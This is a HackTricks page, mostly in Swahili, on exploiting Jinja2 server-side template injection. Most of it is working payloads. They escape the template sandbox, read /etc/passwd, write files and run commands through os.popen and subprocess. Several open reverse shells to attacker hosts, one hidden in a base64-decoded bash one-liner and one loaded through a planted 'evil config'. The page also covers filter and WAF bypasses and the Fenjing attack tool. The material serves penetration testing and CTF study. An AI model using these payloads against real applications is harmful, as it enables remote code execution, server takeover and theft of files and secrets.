Jinja2 SSTI
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).
Support HackTricks
- Angalia subscription plans!
- Jiunge na 💬 Discord group, telegram group, fuata @hacktricks_live kwenye X/Twitter, au angalia LinkedIn page na YouTube channel.
- Shiriki hacking tricks kwa kutuma PRs kwenye HackTricks na HackTricks Cloud github repos.
Maabara
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Mengine
Taarifa ya Debug
Ikiwa Debug Extension imewezeshwa, tag ya debug itapatikana ili kufanya dump ya context ya sasa pamoja na filters na tests zinazopatikana. Hii inasaidia kuona kinachopatikana kwa matumizi kwenye template bila kuanzisha debugger.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
Dump vigezo vyote vya config
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Jinja Injection
Kwanza kabisa, katika Jinja injection unahitaji find a way to escape from the sandbox na kupata tena ufikiaji wa mtiririko wa utekelezaji wa python wa kawaida. Ili kufanya hivyo, unahitaji abuse objects ambazo from the non-sandboxed environment but are accessible from the sandbox.
Kupata Global Objects
Kwa mfano, katika code render_template("hello.html", username=username, email=email) vitu username na email come from the non-sanboxed python env na vitakuwa accessible ndani ya sandboxed env.
Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa always accessible from the sandboxed env, ambavyo ni:
[]
''
()
dict
config
request
Kupata <class ‘object’>
Kisha, kutoka kwa vitu hivi tunahitaji kufika kwenye darasa: <class 'object'> ili kujaribu kupata madarasa yaliyotangazwa. Hii ni kwa sababu kutoka kwa object hii tunaweza kuita method ya __subclasses__ na kupata madarasa yote kutoka kwenye non-sandboxed python env.
Ili kufikia hilo object class, unahitaji kufikia kwanza object ya class kisha ufikie moja ya __base__, __mro__()[-1] au .mro()[-1]. Kisha, baada ya kufika kwenye hili object class tunaita __subclasses__().
Angalia mifano ifuatayo:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Escaping
Baada ya kupata <class 'object'> na kuita __subclasses__ tunaweza sasa kutumia classes hizo kusoma na kuandika files na kutekeleza code.
Kuita __subclasses__ kimetupa fursa ya kupata mamia ya functions mpya, tutaridhika tu kwa kupata file class ili read/write files au darasa lolote lenye ufikiaji kwa darasa linalo kuruhusu kutekeleza amri (kama os).
Soma/Andika faili ya mbali
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
Payloads na {% ... %}
Wakati mwingine {{ ... }} huzuiwa, husafishwa au injection inaishia ndani ya muktadha unaofaa kwa statement. Katika hali hizo bado unaweza kutumia vibaya Jinja statement tags kama {% with %}, {% if %}, {% for %}, {% set %} na, katika matoleo mapya, {% print %} ili kutekeleza msimbo, leak data kupitia mwili wa block, au kusababisha athari za upande zisizoonekana (blind).
{% raw %}
# Simple statement-tag primitives
{% print(1) %}
{% if 7*7 == 49 %}OK{% endif %}
{% if 7*7 == 50 %}BAD{% else %}ELSE{% endif %}
{% set x = 7*7 %}{{ x }}
{% for i in range(3) %}{{ i }}{% endfor %}
{% with a = ''.__class__ %}{{ a }}{% endwith %}
{% print(''.__class__.__mro__[1]) %}
{% with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %}
# Flask-like contexts: use already reachable globals/functions
{% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %}
{% if config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read().startswith("uid=") %}yes{% endif %}
# Bare Jinja2 Template(...) contexts may not have `config` or `request`,
# but built-in globals such as `lipsum`, `cycler`, `joiner`, and `namespace`
# are often still available.
{% print(lipsum) %}
{% print(cycler) %}
{% print(joiner) %}
{% print(namespace) %}
{% if 'os' in lipsum.__globals__ %}OS_OK{% endif %}
{% if cycler.__init__.__globals__ %}G_OK{% endif %}
# RCE using default Jinja globals
{% print(lipsum.__globals__['os'].popen('id').read()) %}
{% with x = lipsum.__globals__['os'].popen('id').read() %}{{ x }}{% endwith %}
{% print(cycler.__init__.__globals__['os'].popen('id').read()) %}
{% print(joiner.__init__.__globals__['os'].popen('id').read()) %}
{% print(namespace.__init__.__globals__['os'].popen('id').read()) %}
# Blind / boolean primitive
{% if 'uid=' in lipsum.__globals__['os'].popen('id').read() %}
YES
{% endif %}
{% endraw %}
If the target filters some chars but still allows statement tags, combine this idea with the filter bypasses and the no-{{ / no-. / no-_ example. Also remember that {% print %} is not mandatory: on targets where it is unavailable, {% with %}, {% if %}, {% set %} and {% for %} are usually enough to keep exploiting the template.
Ili kujifunza kuhusu madarasa zaidi ambayo unaweza kutumia kukwepa unaweza kuangalia:
Filter bypasses
Common bypasses
Bypass hizi zitaturuhusu kupata sifa za vitu bila kutumia baadhi ya herufi.
Tayari tumeona baadhi ya bypass hizi katika mifano ya hapo awali, lakini hebu tufupishe hapa:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Rudi hapa kwa chaguzi zaidi za kupata global object
- Rudi hapa kwa chaguzi zaidi za kupata object class
- Soma hii ili kupata RCE bila object class
Kuepuka HTML encoding
Kwa chaguo-msingi Flask hufanya HTML encoding ya kila kitu ndani ya template kwa sababu za usalama:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
Kichujio safe kinaturuhusu kuingiza JavaScript na HTML kwenye ukurasa bila kuwekewa HTML encoding, kama hii:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
RCE kwa kuandika faili ya config mbaya.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Bila herufi kadhaa
Bila {{ . [ ] }} _
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Jinja Injection without <class ‘object’>
Kutoka kwa global objects kuna njia nyingine ya kufikia RCE bila kutumia class hiyo.
Ikiwa utaweza kufikia chochote cha function kutoka kwa yale global objects, utaweza kufikia __globals__.__builtins__ na kutoka hapo RCE itakuwa rahisi sana.
Unaweza kutafuta functions kutoka kwa vitu request, config na global object nyingine yoyote ya kuvutia unayoweza kupata kwa kutumia:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Mara unapopata baadhi ya functions, unaweza kurejesha builtins kwa:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjing https://github.com/Marven11/Fenjing ni zana iliyobobea kwenye CTFs lakini pia inaweza kuwa muhimu kufanya bruteforce kwa params zisizo halali katika mazingira halisi. Zana hiyo inaspray maneno na queries ili kugundua filters, ikitafuta bypasses, na pia kutoa interactive console.
Tafsiri ya Google: Kiingereza-Kichina
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
Marejeo
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- https://jinja.palletsprojects.com/en/stable/templates/
- Angalia attr trick to bypass blacklisted chars in here.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).
Support HackTricks
- Angalia subscription plans!
- Jiunge na 💬 Discord group, telegram group, fuata @hacktricks_live kwenye X/Twitter, au angalia LinkedIn page na YouTube channel.
- Shiriki hacking tricks kwa kutuma PRs kwenye HackTricks na HackTricks Cloud github repos.


